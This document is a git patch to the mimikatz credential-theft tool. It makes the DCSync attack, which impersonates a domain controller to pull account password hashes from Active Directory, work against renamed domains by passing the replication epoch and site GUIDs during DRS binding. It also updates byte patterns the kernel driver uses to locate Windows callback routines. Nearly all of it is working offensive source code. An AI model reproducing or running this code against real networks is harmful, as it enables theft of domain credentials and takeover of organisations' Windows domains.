From ea52c92cec885f734c01ae958aa3c5d27adb69b0 Mon Sep 17 00:00:00 2001 From: Benjamin DELPY Date: Sun, 1 May 2016 01:30:04 +0200 Subject: [PATCH] [close #35] DCSync works with renamed domains Thanks to @rmbolger & @MichaelGrafnetter, DCSync now deals with msDS-ReplicationEpoch / dwReplEpoch --- mimidrv/kkll_m_notify.c | 21 +++++------ mimikatz/modules/kuhl_m_lsadump.c | 17 +++++---- modules/kull_m_rpc_drsr.c | 59 ++++++++++++++++++++----------- modules/kull_m_rpc_drsr.h | 16 ++++----- 4 files changed, 66 insertions(+), 47 deletions(-) diff --git a/mimidrv/kkll_m_notify.c b/mimidrv/kkll_m_notify.c index 1410313..e434884 100644 --- a/mimidrv/kkll_m_notify.c +++ b/mimidrv/kkll_m_notify.c @@ -19,17 +19,14 @@ POB_POST_OPERATION_CALLBACK kkll_m_notify_fakePost = NULL; #ifdef _M_X64 UCHAR PTRN_W23_Thread[] = {0x66, 0x90, 0x66, 0x90, 0x48, 0x8b, 0xce, 0xe8}; -UCHAR PTRN_WVI_Thread[] = {0x49, 0x8b, 0x8c, 0x24, 0xf8, 0x01, 0x00, 0x00, 0x41, 0xb0, 0x01, 0x49, 0x8b, 0x94, 0x24, 0x88, 0x03, 0x00, 0x00}; -UCHAR PTRN_WI7_Thread[] = {0x41, 0xbf, 0x40, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xcb, 0xe8}; -UCHAR PTRN_WI8_Thread[] = {0xbf, 0x40, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xcb, 0xe8}; -UCHAR PTRN_W81_Thread[] = {0x41, 0xbf, 0x40, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xcb, 0xe8}; +UCHAR PTRN_WVI_Thread[] = {0xbf, 0x40, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xcb, 0xe8}; UCHAR PTRN_W10_Thread[] = {0x48, 0x8b, 0xcd, 0xe8}; KKLL_M_MEMORY_GENERIC ThreadReferences[] = { {KiwiOsIndex_2K3, {sizeof(PTRN_W23_Thread), PTRN_W23_Thread}, L"PsReferencePrimaryToken", L"CcSetBcbOwnerPointer", { -4, 8}}, - {KiwiOsIndex_VISTA, {sizeof(PTRN_WVI_Thread), PTRN_WVI_Thread}, L"PsDereferenceKernelStack", L"ExRaiseAccessViolation", {-20, 64}}, - {KiwiOsIndex_7, {sizeof(PTRN_WI7_Thread), PTRN_WI7_Thread}, L"PsDereferenceKernelStack", L"MmIsVerifierEnabled", { -4, 64}}, - {KiwiOsIndex_8, {sizeof(PTRN_WI8_Thread), PTRN_WI8_Thread}, L"PsAcquireProcessExitSynchronization", L"FsRtlAddToTunnelCache", { -4, 64}}, - {KiwiOsIndex_BLUE, {sizeof(PTRN_W81_Thread), PTRN_W81_Thread}, L"RtlCopySidAndAttributesArray", L"NtFindAtom", { -4, 64}}, + {KiwiOsIndex_VISTA, {sizeof(PTRN_WVI_Thread), PTRN_WVI_Thread}, L"PsDereferenceKernelStack", L"ExRaiseAccessViolation", { -5, 64}}, + {KiwiOsIndex_7, {sizeof(PTRN_WVI_Thread), PTRN_WVI_Thread}, L"RtlUnicodeToMultiByteSize", L"MmLockPagableSectionByHandle", { -5, 64}}, + {KiwiOsIndex_8, {sizeof(PTRN_WVI_Thread), PTRN_WVI_Thread}, L"PsAcquireProcessExitSynchronization", L"FsRtlAddToTunnelCache", { -4, 64}}, + {KiwiOsIndex_BLUE, {sizeof(PTRN_WVI_Thread), PTRN_WVI_Thread}, L"ObCreateObject", L"NtFindAtom", { -5, 64}}, {KiwiOsIndex_10_1507, {sizeof(PTRN_W10_Thread), PTRN_W10_Thread}, L"PsRemoveCreateThreadNotifyRoutine", L"PsRemoveLoadImageNotifyRoutine", { -8, 64}}, {KiwiOsIndex_10_1511, {sizeof(PTRN_W10_Thread), PTRN_W10_Thread}, L"PsRemoveCreateThreadNotifyRoutine", L"PsRemoveLoadImageNotifyRoutine", { -8, 64}}, }; @@ -45,9 +42,9 @@ KKLL_M_MEMORY_GENERIC ProcessReferences[] = { {KiwiOsIndex_VISTA, {sizeof(PTRN_WVI_Process), PTRN_WVI_Process}, L"SeCreateAccessStateEx", L"PsReferenceImpersonationToken", { -4, 64}}, {KiwiOsIndex_7, {sizeof(PTRN_WI7_Process), PTRN_WI7_Process}, L"RtlAreAllAccessesGranted", L"RtlGetIntegerAtom", { -4, 64}}, {KiwiOsIndex_8, {sizeof(PTRN_WI8_Process), PTRN_WI8_Process}, L"PsAcquireProcessExitSynchronization", L"FsRtlAddToTunnelCache", { -4, 64}}, - {KiwiOsIndex_BLUE, {sizeof(PTRN_W81_Process), PTRN_W81_Process}, L"RtlCopySidAndAttributesArray", L"NtFindAtom", { -4, 64}}, - {KiwiOsIndex_10_1507, {sizeof(PTRN_W10_1507_Process), PTRN_W10_1507_Process}, L"PsSetCreateProcessNotifyRoutine", L"IoReportDetectedDevice", { -4, 64}}, - {KiwiOsIndex_10_1511, {sizeof(PTRN_W10_1511_Process), PTRN_W10_1511_Process}, L"PsSetCreateProcessNotifyRoutine", L"ObRegisterCallbacks", { -4, 64}}, + {KiwiOsIndex_BLUE, {sizeof(PTRN_W81_Process), PTRN_W81_Process}, L"ObCreateObject", L"NtFindAtom", { -4, 64}}, + {KiwiOsIndex_10_1507, {sizeof(PTRN_W10_1507_Process), PTRN_W10_1507_Process}, L"PsSetCreateProcessNotifyRoutine", L"KeRegisterProcessorChangeCallback", { -4, 64}}, + {KiwiOsIndex_10_1511, {sizeof(PTRN_W10_1511_Process), PTRN_W10_1511_Process}, L"PsSetCreateProcessNotifyRoutine", L"KeRegisterProcessorChangeCallback", { -4, 64}}, }; UCHAR PTRN_W23_Image[] = {0x4c, 0x8b, 0xf1, 0x48, 0x89, 0x78, 0x20, 0x4d, 0x8b, 0xe0, 0x4c, 0x8b, 0xea, 0xbd, 0x08, 0x00, 0x00, 0x00}; UCHAR PTRN_WVI_Image[] = {0x4c, 0x8b, 0xf2, 0x41, 0x0f, 0xba, 0x6d, 0x00, 0x0a, 0x4c, 0x8b, 0xf9, 0x49, 0xc7, 0x00, 0x38, 0x00, 0x00, 0x00}; @@ -67,7 +64,7 @@ KKLL_M_MEMORY_GENERIC ImageReferences[] = { UCHAR PTRN_W23_Object[] = {0x40, 0x32, 0xf6, 0x4c, 0x89, 0x7c, 0x24, 0x78, 0x45, 0x33, 0xff, 0x4d, 0x85, 0xe4}; UCHAR PTRN_WVI_Object[] = {0x41, 0x8a, 0xdf, 0x4c, 0x89, 0x7c, 0x24, 0x58, 0x4d, 0x3b, 0xe7, 0x88, 0x5c, 0x24, 0x66, 0x4c, 0x89, 0x7c, 0x24, 0x50, 0x49, 0x8b, 0xef, 0xc7, 0x44, 0x24, 0x68}; UCHAR PTRN_WI7_Object[] = {0x41, 0x8a, 0xde, 0x44, 0x88, 0x74, 0x24, 0x47, 0x88, 0x5c, 0x24, 0x46, 0x4c, 0x89, 0x74, 0x24, 0x38, 0x4c, 0x89, 0x74, 0x24, 0x30, 0x49, 0x8b, 0xee, 0xc7, 0x44, 0x24, 0x48}; -UCHAR PTRN_WI8_Object[] = {0x41, 0x8a, 0xd8, 0x44, 0x88, 0x44, 0x24, 0x4f, 0x88, 0x5c, 0x24, 0x4e, 0x4c, 0x89, 0x44, 0x24, 0x38, 0x4d, 0x8b, 0xf0, 0x4c, 0x89, 0x44, 0x24, 0x30, 0xc7, 0x44, 0x24, 0x50}; +UCHAR PTRN_WI8_Object[] = {0x41, 0x8a, 0xd8, 0x44, 0x88, 0x44, 0x24, 0x4f, 0x88, 0x5c, 0x24, 0x4e, 0x4c, 0x89, 0x44, 0x24, 0x38, 0x4d, 0x8b, 0xf0, 0x4c, 0x89, 0x44, 0x24, 0x30, 0xc7, 0x44, 0x24, 0x50}; ////////// todo UCHAR PTRN_W81_Object[] = {0x41, 0x8a, 0xd8, 0x44, 0x88, 0x44, 0x24, 0x4f, 0x88, 0x5c, 0x24, 0x4e, 0x4c, 0x89, 0x44, 0x24, 0x38, 0x4d, 0x8b, 0xf0, 0x4c, 0x89, 0x44, 0x24, 0x30, 0xc7, 0x44, 0x24, 0x50}; UCHAR PTRN_W10_Object[] = {0x0f, 0xb7, 0x02, 0xff, 0xc9, 0x49, 0x03}; KKLL_M_MEMORY_GENERIC ObjectReferences[] = { diff --git a/mimikatz/modules/kuhl_m_lsadump.c b/mimikatz/modules/kuhl_m_lsadump.c index 94d555d..bfb3f84 100644 --- a/mimikatz/modules/kuhl_m_lsadump.c +++ b/mimikatz/modules/kuhl_m_lsadump.c @@ -1726,6 +1726,8 @@ NTSTATUS kuhl_m_lsadump_dcsync(int argc, wchar_t * argv[]) ULONG drsStatus; LPCWSTR szUser = NULL, szGuid = NULL, szDomain = NULL, szDc = NULL; LPWSTR szTmpDc = NULL; + DWORD dwReplEpoch; + GUID SiteObjGuid, ConfigObjGUID; if(!kull_m_string_args_byName(argc, argv, L"domain", &szDomain, NULL)) if(kull_m_net_getCurrentDomainInfo(&pPolicyDnsDomainInfo)) @@ -1740,19 +1742,22 @@ NTSTATUS kuhl_m_lsadump_dcsync(int argc, wchar_t * argv[]) if(szDc) { - kprintf(L"[DC] \'%s\' will be the DC server\n\n", szDc); + kprintf(L"[DC] \'%s\' will be the DC server\n", szDc); if(kull_m_string_args_byName(argc, argv, L"guid", &szGuid, NULL) || kull_m_string_args_byName(argc, argv, L"user", &szUser, NULL)) { if(szGuid) - kprintf(L"[DC] Object with GUID \'%s\'\n\n", szGuid); + kprintf(L"[DC] Object with GUID \'%s\'\n", szGuid); else - kprintf(L"[DC] \'%s\' will be the user account\n\n", szUser); + kprintf(L"[DC] \'%s\' will be the user account\n", szUser); if(kull_m_rpc_drsr_createBinding(szDc, &hBinding)) { - if(kull_m_rpc_drsr_getDomainAndUserInfos(&hBinding, szDc, szDomain, &getChReq.V8.uuidDsaObjDest, szUser, szGuid, &dsName.Guid)) + if(kull_m_rpc_drsr_getDomainAndUserInfos(&hBinding, szDc, szDomain, &getChReq.V8.uuidDsaObjDest, szUser, szGuid, &dsName.Guid, &dwReplEpoch, &SiteObjGuid, &ConfigObjGUID)) { - if(kull_m_rpc_drsr_getDCBind(&hBinding, &getChReq.V8.uuidDsaObjDest, &hDrs)) + if(dwReplEpoch) + kprintf(L"[DC] ms-DS-ReplicationEpoch is: %u\n", dwReplEpoch); + + if(kull_m_rpc_drsr_getDCBind(&hBinding, &getChReq.V8.uuidDsaObjDest, &hDrs, &dwReplEpoch, &SiteObjGuid, &ConfigObjGUID)) { getChReq.V8.pNC = &dsName; getChReq.V8.ulFlags = DRS_INIT_SYNC | DRS_WRIT_REP | DRS_NEVER_SYNCED | DRS_FULL_SYNC_NOW | DRS_SYNC_URGENT; @@ -1863,7 +1868,7 @@ BOOL kuhl_m_lsadump_dcsync_decrypt(PBYTE encodedData, DWORD encodedDataSize, DWO void kuhl_m_lsadump_dcsync_descrObject(ATTRBLOCK *attributes, LPCWSTR szSrcDomain) { - kuhl_m_lsadump_dcsync_findPrintMonoAttr(L"Object RDN : ", attributes, ATT_RDN, TRUE); + kuhl_m_lsadump_dcsync_findPrintMonoAttr(L"\nObject RDN : ", attributes, ATT_RDN, TRUE); kprintf(L"\n"); if(kuhl_m_lsadump_dcsync_findMonoAttr(attributes, ATT_SAM_ACCOUNT_NAME, NULL, NULL)) kuhl_m_lsadump_dcsync_descrUser(attributes); diff --git a/modules/kull_m_rpc_drsr.c b/modules/kull_m_rpc_drsr.c index 4f00f39..c505e67 100644 --- a/modules/kull_m_rpc_drsr.c +++ b/modules/kull_m_rpc_drsr.c @@ -93,25 +93,25 @@ BOOL kull_m_rpc_drsr_deleteBinding(RPC_BINDING_HANDLE *hBinding) } GUID DRSUAPI_DS_BIND_GUID_Standard = {0xe24d201a, 0x4fd6, 0x11d1, {0xa3, 0xda, 0x00, 0x00, 0xf8, 0x75, 0xae, 0x0d}}; -BOOL kull_m_rpc_drsr_getDomainAndUserInfos(RPC_BINDING_HANDLE *hBinding, LPCWSTR ServerName, LPCWSTR Domain, GUID *DomainGUID, LPCWSTR User, LPCWSTR Guid, GUID *UserGuid) +BOOL kull_m_rpc_drsr_getDomainAndUserInfos(RPC_BINDING_HANDLE *hBinding, LPCWSTR ServerName, LPCWSTR Domain, GUID *DomainGUID, LPCWSTR User, LPCWSTR Guid, GUID *UserGuid, DWORD *dwReplEpoch, GUID *SiteObjGuid, GUID *ConfigObjGUID) { BOOL DomainGUIDfound = FALSE, ObjectGUIDfound = FALSE; DWORD i; ULONG drsStatus; DRS_HANDLE hDrs = NULL; - DRS_EXTENSIONS_INT DrsExtensionsInt = {0}; - DRS_EXTENSIONS *pDrsExtensionsOutput = NULL; DRS_MSG_DCINFOREQ dcInfoReq = {0}; DWORD dcOutVersion = 0; DRS_MSG_DCINFOREPLY dcInfoRep = {0}; LPWSTR sGuid; UNICODE_STRING uGuid; - RpcTryExcept + *dwReplEpoch = 0; + RtlZeroMemory(SiteObjGuid, sizeof(GUID)); + RtlZeroMemory(ConfigObjGUID, sizeof(GUID)); + + if(kull_m_rpc_drsr_getDCBind(hBinding, &DRSUAPI_DS_BIND_GUID_Standard, &hDrs, dwReplEpoch, SiteObjGuid, ConfigObjGUID)) { - DrsExtensionsInt.cb = sizeof(DRS_EXTENSIONS_INT) - sizeof(DWORD); - drsStatus = IDL_DRSBind(*hBinding, &DRSUAPI_DS_BIND_GUID_Standard, (DRS_EXTENSIONS *) &DrsExtensionsInt, &pDrsExtensionsOutput, &hDrs); - if(drsStatus == 0) + RpcTryExcept { dcInfoReq.V1.InfoLevel = 2; dcInfoReq.V1.Domain = (LPWSTR) Domain; @@ -135,7 +135,7 @@ BOOL kull_m_rpc_drsr_getDomainAndUserInfos(RPC_BINDING_HANDLE *hBinding, LPCWSTR kull_m_rpc_drsr_free_DRS_MSG_DCINFOREPLY_data(dcOutVersion, &dcInfoRep); } else PRINT_ERROR(L"DomainControllerInfo: 0x%08x (%u)\n", drsStatus, drsStatus); - + if(Guid) { RtlInitUnicodeString(&uGuid, Guid); @@ -149,40 +149,57 @@ BOOL kull_m_rpc_drsr_getDomainAndUserInfos(RPC_BINDING_HANDLE *hBinding, LPCWSTR ObjectGUIDfound = NT_SUCCESS(RtlGUIDFromString(&uGuid, UserGuid)); } } - drsStatus = IDL_DRSUnbind(&hDrs); - MIDL_user_free(pDrsExtensionsOutput); } + RpcExcept(DRS_EXCEPTION) + PRINT_ERROR(L"RPC Exception 0x%08x (%u)\n", RpcExceptionCode(), RpcExceptionCode()); + RpcEndExcept + } - RpcExcept(DRS_EXCEPTION) - PRINT_ERROR(L"RPC Exception 0x%08x (%u)\n", RpcExceptionCode(), RpcExceptionCode()); - RpcEndExcept return (DomainGUIDfound && (ObjectGUIDfound || !(Guid || User))); } -BOOL kull_m_rpc_drsr_getDCBind(RPC_BINDING_HANDLE *hBinding, GUID *NtdsDsaObjectGuid, DRS_HANDLE *hDrs) +BOOL kull_m_rpc_drsr_getDCBind(RPC_BINDING_HANDLE *hBinding, GUID *NtdsDsaObjectGuid, DRS_HANDLE *hDrs, DWORD *dwReplEpoch, GUID *SiteObjGuid, GUID *ConfigObjGUID) { BOOL status = FALSE; ULONG drsStatus; - DRS_EXTENSIONS_INT DrsExtensionsInt;// = {0}; - DRS_EXTENSIONS *pDrsExtensionsOutput = NULL; + DRS_EXTENSIONS_INT DrsExtensionsInt = {0}; + DRS_EXTENSIONS_INT *pDrsExtensionsOutput = NULL; DrsExtensionsInt.cb = sizeof(DRS_EXTENSIONS_INT) - sizeof(DWORD); DrsExtensionsInt.dwFlags = DRS_EXT_GETCHGREPLY_V6 | DRS_EXT_STRONG_ENCRYPTION; + DrsExtensionsInt.SiteObjGuid = *SiteObjGuid; + DrsExtensionsInt.dwReplEpoch = *dwReplEpoch; + DrsExtensionsInt.ConfigObjGUID = *ConfigObjGUID; RpcTryExcept { - drsStatus = IDL_DRSBind(*hBinding, NtdsDsaObjectGuid, (DRS_EXTENSIONS *) &DrsExtensionsInt, &pDrsExtensionsOutput, hDrs); // to free ? + drsStatus = IDL_DRSBind(*hBinding, NtdsDsaObjectGuid, (DRS_EXTENSIONS *) &DrsExtensionsInt, (DRS_EXTENSIONS **) &pDrsExtensionsOutput, hDrs); // to free ? if(drsStatus == 0) { if(pDrsExtensionsOutput) { - if(((DRS_EXTENSIONS_INT *) pDrsExtensionsOutput)->dwFlags & (DRS_EXT_GETCHGREQ_V8 | DRS_EXT_STRONG_ENCRYPTION)) - status = TRUE; - else PRINT_ERROR(L"Incorrect DRS Extensions Output (%08x)\n", ((DRS_EXTENSIONS_INT *) pDrsExtensionsOutput)->dwFlags); + if(pDrsExtensionsOutput->cb >= FIELD_OFFSET(DRS_EXTENSIONS_INT, SiteObjGuid) - sizeof(DWORD)) + { + if(pDrsExtensionsOutput->dwFlags & (DRS_EXT_GETCHGREQ_V8 | DRS_EXT_STRONG_ENCRYPTION)) + status = TRUE; + else PRINT_ERROR(L"Incorrect DRS Extensions Output (%08x)\n", pDrsExtensionsOutput->dwFlags); + + if(pDrsExtensionsOutput->cb >= FIELD_OFFSET(DRS_EXTENSIONS_INT, Pid) - sizeof(DWORD)) + { + *SiteObjGuid = pDrsExtensionsOutput->SiteObjGuid; + if(pDrsExtensionsOutput->cb >= FIELD_OFFSET(DRS_EXTENSIONS_INT, dwFlagsExt) - sizeof(DWORD)) + { + *dwReplEpoch = pDrsExtensionsOutput->dwReplEpoch; + if(pDrsExtensionsOutput->cb >= FIELD_OFFSET(DRS_EXTENSIONS_INT, dwExtCaps) - sizeof(DWORD)) + *ConfigObjGUID = pDrsExtensionsOutput->ConfigObjGUID; + } + } + } + else PRINT_ERROR(L"Incorrect DRS Extensions Output Size (%u)\n", pDrsExtensionsOutput->cb); MIDL_user_free(pDrsExtensionsOutput); } else PRINT_ERROR(L"No DRS Extensions Output\n"); - + if(!status) IDL_DRSUnbind(hDrs); } diff --git a/modules/kull_m_rpc_drsr.h b/modules/kull_m_rpc_drsr.h index d27c51e..32f7f43 100644 --- a/modules/kull_m_rpc_drsr.h +++ b/modules/kull_m_rpc_drsr.h @@ -12,12 +12,12 @@ typedef struct _DRS_EXTENSIONS_INT { DWORD cb; DWORD dwFlags; - //GUID SiteObjGuid; - //DWORD Pid; - //DWORD dwReplEpoch; - //DWORD dwFlagsExt; - //GUID ConfigObjGUID; - //DWORD dwExtCaps; + GUID SiteObjGuid; + DWORD Pid; + DWORD dwReplEpoch; + DWORD dwFlagsExt; + GUID ConfigObjGUID; + DWORD dwExtCaps; } DRS_EXTENSIONS_INT, *PDRS_EXTENSIONS_INT; typedef struct _ENCRYPTED_PAYLOAD { @@ -193,8 +193,8 @@ void RPC_ENTRY kull_m_rpc_drsr_RpcSecurityCallback(void *Context); BOOL kull_m_rpc_drsr_createBinding(LPCWSTR server, RPC_BINDING_HANDLE *hBinding); BOOL kull_m_rpc_drsr_deleteBinding(RPC_BINDING_HANDLE *hBinding); -BOOL kull_m_rpc_drsr_getDomainAndUserInfos(RPC_BINDING_HANDLE *hBinding, LPCWSTR ServerName, LPCWSTR Domain, GUID *DomainGUID, LPCWSTR User, LPCWSTR Guid, GUID *UserGuid); -BOOL kull_m_rpc_drsr_getDCBind(RPC_BINDING_HANDLE *hBinding, GUID *NtdsDsaObjectGuid, DRS_HANDLE *hDrs); +BOOL kull_m_rpc_drsr_getDomainAndUserInfos(RPC_BINDING_HANDLE *hBinding, LPCWSTR ServerName, LPCWSTR Domain, GUID *DomainGUID, LPCWSTR User, LPCWSTR Guid, GUID *UserGuid, DWORD *dwReplEpoch, GUID *SiteObjGuid, GUID *ConfigObjGUID); +BOOL kull_m_rpc_drsr_getDCBind(RPC_BINDING_HANDLE *hBinding, GUID *NtdsDsaObjectGuid, DRS_HANDLE *hDrs, DWORD *dwReplEpoch, GUID *SiteObjGuid, GUID *ConfigObjGUID); BOOL kull_m_rpc_drsr_CrackName(DRS_HANDLE hDrs, DS_NAME_FORMAT NameFormat, LPCWSTR Name, DS_NAME_FORMAT FormatWanted, LPWSTR *CrackedName, LPWSTR *CrackedDomain); BOOL kull_m_rpc_drsr_ProcessGetNCChangesReply(REPLENTINFLIST *objects); BOOL kull_m_rpc_drsr_ProcessGetNCChangesReply_decrypt(ATTRVAL *val);